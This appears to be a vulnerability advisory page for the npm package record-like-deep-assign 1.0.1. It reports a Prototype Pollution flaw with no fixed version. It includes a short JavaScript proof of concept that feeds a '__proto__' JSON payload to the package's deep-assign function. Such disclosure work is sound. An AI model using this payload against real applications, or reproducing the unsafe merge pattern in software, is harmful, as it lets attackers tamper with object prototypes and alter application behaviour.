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record-like-deep-assign@1.0.1 vulnerabilities

Recursively assigns enumerable own properties of the given sources to a target object

  • latest version

    1.0.1

  • first published

    4 years ago

  • latest version published

    4 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the record-like-deep-assign package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
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    Prototype Pollution

    record-like-deep-assign is a Recursively assigns enumerable own properties of the given sources to a target object

    Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

    PoC

    const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for record-like-deep-assign.

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